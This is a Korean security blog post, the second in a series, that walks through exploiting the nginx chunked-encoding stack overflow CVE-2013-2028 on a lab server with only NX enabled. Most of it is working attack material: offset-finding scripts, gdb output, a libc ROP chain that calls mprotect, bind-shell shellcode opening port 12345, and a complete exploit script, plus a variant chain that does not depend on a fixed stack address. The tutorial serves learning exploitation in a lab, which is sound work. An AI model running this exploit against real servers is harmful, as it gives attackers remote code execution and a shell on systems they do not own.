#dokydoky

[CVE-2013-2028] Nginx stack-based buffer overflow(2) - NX 본문

System Hacking

[CVE-2013-2028] Nginx stack-based buffer overflow(2) - NX

dokydoky 2016. 12. 25. 04:06

0x01. Intro

안녕하세요. dokydoky입니다.

이전 포스팅에서는 환경을 구성하고 CVE-2013-2028 취약점이 발생되는 코드를 살펴봤습니다.

이번 포스팅에서는 어떻게 익스플로잇을 하는지 알아보겠습니다. 바이너리 파일은 nginx1을 사용하시면 됩니다.

mitigation중 NX, ASLR, Stack Canary를 순차적으로 적용해서 우회해보려고 합니다.

우선 이번 포스팅에서는 NX만 걸려 있는 환경입니다. NX가 걸려있으면 Heap, Stack 영역에 실행권한이 없어 쉘코드를 바로 실행할 수 없습니다.

본문에서 사용할 도구들은 아래와 같습니다.

mitigation 확인 : checksec

offset 찾기 : pattern.py

ROP gadget 확인 : rp-ln-x64

이하 본문에서는 존칭어를 생략합니다.


0x02. Exploit

환경 설정
우선 주어진 Vagrant 환경에 default로 ASLR이 켜져 있으므로, 아래 명령으로 ASLR을  해제하자.

참고로 randomize_va_space의 값을 변경하면 임시로 ASLR 설정을 변경할 수 있으며, 각 값의 의미는 아래와 같다.

0: ASLR Disable
1: Stack, VDSO(Virtual Dynamic Shared Object), 공유메모리 영역을 랜덤화한다.
2:Stack, VDSO(Virtual Dynamic Shared Object), 공유메모리 영역, Data 세그먼트를 랜덤화한다. 

checksec을 이용해 nginx1 바이너리를 확인해보면 NX enabled되어 있는 것을 확인할 수 있다.

NX가 활성화되면 Stack, Heap영역에 실행권한이 없기 때문에, 쉘코드를 Stack이나 Heap영역에 넣을 경우 바로 실행 할 수 없다.

여기서는 ROP를 이용해서 NX를 우회해보자. ROP(Return-Oriented Programming)는 실행권한이 있는 code영역에서 각기 다른 코드 조각들(ROP Gadget)을 맞춰서 내가 원하는 코드를 만들어가는 방법이다. 이 때, 각 코드 조각들은 RET로 끝나는 코드 조각으로 이루어져 있어서 RET 명령어를 통해 다음 코드 조각으로 이어진다.

원하는 쉘코드를 모두 ROP 가젯으로 구성할 수도 있지만, 가젯을 구성하는데 시간이 많이 걸리기 때문에 아래 방법을 사용하는 것이 편리하다.

1. mmap64을 이용해 실행권한이 있는 영역을 생성하고 쉘코드를 넣는다. 이후 해당 영역으로 RET.
2. stack이나 heap에 쉘코드를 삽입하고, mprotect를 이용해 해당 영역에 실행권한을 추가한다.

여기서는 mprotect를 이용하겠다.


취약점 확인
취약점을 간략하게 다시 한 번 확인해보자.

[ngx_http_read_discarded_request_body]

static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r) { size_t size; ssize_t n; ngx_int_t rc; ngx_buf_t b; u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; ... size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); ... } }

size 변수의 타입은 size_t로 unsigned long이며, r->headers_in.content_length_n는 signed 값이고, client에서 조작이 가능한 값이다.

r->headers_in.content_length_n의 값이 0x8000000000000000와 같은 음수값이라면 ngx_min의 값은 r->headers_in.content_length_n의 값이 되지만,

이 값이 Unsigned 값인 size로 캐스팅되면서 size는 큰 양수값이 된다.

따라서 recv함수에서 NGX_HTTP_DISCARD_BUFFER_SIZE(4096) 크기의 buffer에 4096 바이트 이상의 문자열을 넣어 BOF를 발생시킬 수 있다.

그렇다면 BOF를 발생시키고 ngx_http_read_discarded_request_body함수의 return 주소를 변조하기 위해서는 몇 바이트의 문자열이 필요할까?


offset 확인
return 주소까지 필요한 바이트 수를 구하기 위해 pattern.py를 이용해서 pattern을 만들자.

$ python pattern.py 10000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab..(생략)....4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M


nginx1의 LISTEN PORT는 TCP 80이지만, 호스트 PC와 Vagrant간에 8080 -> 80으로 포트포워딩 설정이 되어있다.

따라서 호스트 PC에서 "127.0.0.1:8080"으로  아래 패킷을 보내고, 서버에서는 nginx1에 gdb를 붙여서 실행하자.

import socket

ChunkSize = '8000000000000000'
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab..(생략)...u3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M'

payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, pattern)

if __name__ == "__main__":
    HOST = '127.0.0.1'
    PORT = 8080

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.sendall(payload)


gdb를 붙여서 실행해보면 retq 명령에서 세그먼트 폴트가 난다.
이는 "0x7047347047337047" 주소로 리턴하려다가 해당 주소가 실행권한이 없는 영역이기 때문에 세그먼트 폴트가 난 것이다.
따라서 이 때의 rsp 위치의 값을 실행권한이 있는 영역으로 바꿔주면 rip를 변경할 수 있다.

root@nginx:/vagrant/bin# sudo ./nginx1 
root@nginx:/vagrant/bin# ps -ef | grep nginx
root      6513     1  0 16:19 ?        00:00:00 nginx: master process ./nginx1
nobody    6514  6513  0 16:19 ?        00:00:00 nginx: worker process
root      6516  6376  0 16:19 pts/1    00:00:00 grep --color=auto nginx
root@nginx:/vagrant/bin# sudo gdb -p 6514
...
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000431792 in ngx_http_read_discarded_request_body (r=<optimized out>)
    at src/http/ngx_http_request_body.c:676
676	src/http/ngx_http_request_body.c: No such file or directory.
(gdb) x/i $rip
=> 0x431792 <ngx_http_read_discarded_request_body+226>:	retq   
(gdb) x/gx $rsp
0x7fffffffddb8:	0x7047347047337047


RIP를 변경하는 값까지의 offset을 알아보자. 아래 코드에서 [::-1]은 문자열을 reverse하는 역할을 한다.

dokydoky$ ipython
In [1]: "7047347047337047".decode('hex')[::-1]
Out[1]: 'Gp3Gp4Gp'

dokydoky$ python pattern.py "Gp3Gp4Gp"
Pattern Gp3Gp4Gp first occurrence at position 5139 in pattern.

|..............|  5139 byte 문자열  | RET 주소(8 byte) | ....... | 형태임을 알 수 있다.

import socket
import struct

ChunkSize = '8000000000000000'
retAddr = struct.pack('<Q', 0x1111111111111111)
data = "A"*5139 + retAddr

payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, data)

if __name__ == "__main__":
    HOST = '127.0.0.1'
    PORT = 8080

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.sendall(payload)

gdb를 다시 붙이고 위 코드를 실행하면 아래와 같이 리턴주소의 값이 바뀌는 것을 확인할 수 있다.

676	src/http/ngx_http_request_body.c: No such file or directory.
(gdb) x/i $rip
=> 0x431792 <ngx_http_read_discarded_request_body+226>:	retq   
(gdb) x/gx $rsp
0x7fffffffde08:	0x1111111111111111

rip의 변조가 가능한 offset을 확인했으니, ROP Gadget을 구성해보자.

ROP Gadget

ROP는 실행권한이 있는 code 영역에서 각기 다른 코드 조각들(ROP Gadget)을 맞춰서 내가 원하는 코드를 만들어가는 방법이라고 했다. 또한, 가젯들은 RET로 끝나는 코드 조각으로 이루어져 있어서 RET 명령어를 통해 다음 코드 조각으로 이어진다.

우리가 구성하려는 가젯은 sys_mprotect를 호출해서 쉘코드가 삽입될 스택영역에 실행권한을 주고 쉘코드로 점프하는 코드이다.

sys_mprotect의 syscall 정보는 아래와 같다. 주의할 것은 mprotect의 첫  번째 인자인 addr는 페이지 크기 단위와 정렬(aligned)되어야 한다.
페이지의 크기는 0x1000(4096)이므로 0x7fffffffdcd0 대신 0x7fffffffd000을 넣는다.

# int mprotect(void *addr, size_t len, int prot);
#   shellcode address = 0x7fffffffdcc8 + 8
#   mprotect(0x7fffffffd000, 0x2000, 7)
#
# System call table of 'sys_mprotect' 
#   %rdi = unsigned long start = 0x7fffffffd000
#   %rsi = size_t len = 0x2000
#   %rdx = unsigned long prot = 7
#   %rax = 10


nginx1 바이너리의 메모리 맵을 보면 아래와 같은데, nginx1에는 가젯이 별로 없기 때문에 libc-2.19.so 에서 가젯을 찾아보자.


가젯은 rp-ln-x64을 이용해서 찾을 수 있다.

root@nginx:/vagrant/bin# ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 1 | egrep "pop rdi"
0x000fa37a: pop rdi ; call rax ;  (1 found)
0x000830b8: pop rdi ; jmp rax ;  (1 found)
0x000f662c: pop rdi ; jmp rax ;  (1 found)
0x00103f12: pop rdi ; rep ret  ;  (1 found)
0x0011bd21: pop rdi ; rep ret  ;  (1 found)
0x00022b9a: pop rdi ; ret  ;  (1 found)
0x00022bb1: pop rdi ; ret  ;  (1 found)
0x00022bda: pop rdi ; ret  ;  (1 found)
0x00022c02: pop rdi ; ret  ;  (1 found)
0x00022c2a: pop rdi ; ret  ;  (1 found)
....


완성된 가젯

libc = 0x7ffff75be000	#/lib/x86_64-linux-gnu/libc-2.19.so

chain = [
    libc+0x00022b9a,	# pop rdi ; ret
    0x7fffffffd000,	# addr
    libc+0x0012d730,	# pop rsi ; ret
    0x2000,		# len
    libc+0x00001b92,	# pop rdx ; ret
    0x7,		# prot
    libc+0x0001b290,	# pop rax ; ret
    0xA,		
    libc+0x000c1d05,	# syscall ; ret
    libc+0x0018dce3	# jmp rsp
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)
ropchain += shellcode


Shell Code
nginx는 소켓통신을 하므로, 서버의 로컬포트(TCP 12345)을 여는 바인드쉘을 만들것이다.
binsh의 shellcode는 pwntools을 이용해서 만들 수 있다.

# from pwn import *
# context(arch='amd64', os='linux')
# print "".join(['\\x{:02X}'.format(ord(i)) for i in asm(shellcraft.bindsh(12345, network='ipv4'))])

shellcode = (
    '\x6A\x29\x58\x6A\x02\x5F\x6A\x01\x5E\x99\x0F\x05\x52\xBA\x01\x01' +
    '\x01\x01\x81\xF2\x03\x01\x31\x38\x52\x6A\x10\x5A\x48\x89\xC5\x48' +
    '\x89\xC7\x6A\x31\x58\x48\x89\xE6\x0F\x05\x6A\x32\x58\x48\x89\xEF' +
    '\x6A\x01\x5E\x0F\x05\x6A\x2B\x58\x48\x89\xEF\x31\xF6\x99\x0F\x05' +
    '\x48\x89\xC5\x6A\x03\x5E\x48\xFF\xCE\x78\x0B\x56\x6A\x21\x58\x48' +
    '\x89\xEF\x0F\x05\xEB\xEF\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01' +
    '\x01\x01\x31\xD2\x52\x6A\x08\x5A\x48\x01\xE2\x52\x48\x89\xE2\x6A' +
    '\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48' +
    '\x89\xE7\x48\x89\xD6\x99\x0F\x05'
)


0x03. Full Exploit Code
nginx1_nx_exploit.py

# -*- coding: utf-8 -*-

###########################################################################################
# CVE-2013-2028
# Environment : NX
# Coded by dokydoky
###########################################################################################

import socket
import struct
from pwn import *

shellcode = (
    '\x6A\x29\x58\x6A\x02\x5F\x6A\x01\x5E\x99\x0F\x05\x52\xBA\x01\x01' +
    '\x01\x01\x81\xF2\x03\x01\x31\x38\x52\x6A\x10\x5A\x48\x89\xC5\x48' +
    '\x89\xC7\x6A\x31\x58\x48\x89\xE6\x0F\x05\x6A\x32\x58\x48\x89\xEF' +
    '\x6A\x01\x5E\x0F\x05\x6A\x2B\x58\x48\x89\xEF\x31\xF6\x99\x0F\x05' +
    '\x48\x89\xC5\x6A\x03\x5E\x48\xFF\xCE\x78\x0B\x56\x6A\x21\x58\x48' +
    '\x89\xEF\x0F\x05\xEB\xEF\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01' +
    '\x01\x01\x31\xD2\x52\x6A\x08\x5A\x48\x01\xE2\x52\x48\x89\xE2\x6A' +
    '\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48' +
    '\x89\xE7\x48\x89\xD6\x99\x0F\x05'
)

# int mprotect(void *addr, size_t len, int prot);
#   shellcode address = 0x7fffffffdcc8 + 8
#   mprotect(0x7fffffffd000, 0x2000, 7)
#
# System call table of 'sys_mprotect' 
#   %rdi = unsigned long start = 0x7fffffffd000
#   %rsi = size_t len = 0x2000
#   %rdx = unsigned long prot = 7
#   %rax = 10

libc = 0x7ffff75be000	#/lib/x86_64-linux-gnu/libc-2.19.so

chain = [
    libc+0x00022b9a,	# pop rdi ; ret
    0x7fffffffd000,	# addr
    libc+0x0012d730,	# pop rsi ; ret
    0x2000,		# len
    libc+0x00001b92,	# pop rdx ; ret
    0x7,		# prot
    libc+0x0001b290,	# pop rax ; ret
    0xA,		
    libc+0x000c1d05,	# syscall ; ret
    libc+0x0018dce3	# jmp rsp
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)
ropchain += shellcode

ChunkSize = '8000000000000000'
data = "A"*5139 + ropchain + shellcode

payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, data)

if __name__ == "__main__":
    HOST = '127.0.0.1'
    PORT = 8080

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.sendall(payload)


Result


Additional

RDI의 값을 고정적인 stack 주소의 값을 넣었는데, 아래와 같이 가젯을 구성하면 stack 주소가 변경되도 사용할 수 있는 가젯을 만들 수 있다.
"rdi = (rsp >> 12) << 12" 하는 이유는 페이지 크기에 정렬(aligned)하기 위함이다.

# start : rdi = (rsp >> 12) << 12
chain = [
    libc+0x0001b290,	# pop rax ; ret
    libc+0x0001b290,	# &(pop rax ; ret)
    libc+0x0011ed05,	# mov rdi, rsp ; call rax
    libc+0x0015fbe4,	# mov rax, rdi ; ret  

    libc+0x001180df,	# shr rax, 0x04 ; ret
    libc+0x001180df,	# shr rax, 0x04 ; ret
    libc+0x001180df,	# shr rax, 0x04 ; ret

    libc+0x0012e111,	# pop rbx ; ret 
    libc+0x0012ca09,	# &(pop r14 ; ret)
    libc+0x000cce17,	# mov rdi, rax ; call rbx

    libc+0x0012cc84,	# pop r15 ; ret
    libc+0x00022c00,	# &(pop rsi ; pop r15 ; ret)
    libc+0x0011dbd4,	# mov r13, rsp ; call r15
    libc+0x0004fc5a,	# &(ret)
    libc+0x0011dfe4,	# mov rcx, r13 ; call rbx
    libc+0x00035778,	# mov rax, rcx ; ret 

    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
    libc+0x001a4890,	# shl rdi, 1  ; jmp qword [rax]
# end : rdi = (rsp >> 12) << 12 

    libc+0x0012d730,	# pop rsi ; ret
    0x2000,		# 0x2000
    libc+0x00001b92,	# pop rdx ; ret
    0x7,			# 7
    libc+0x0001b290,	# pop rax ; ret
    0xA,			# 10
    libc+0x000c1d05,	# syscall ; ret
    libc+0x0018dce3	# jmp rsp
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)
ropchain += shellcode


이번 포스팅에서는 NX만 걸려있는 환경에서의 익스플로잇 방법을 살펴봤습니다.

다음 편에서는 ASLR을 추가한 환경에서의 익스플로잇을 살펴보겠습니다.


Comments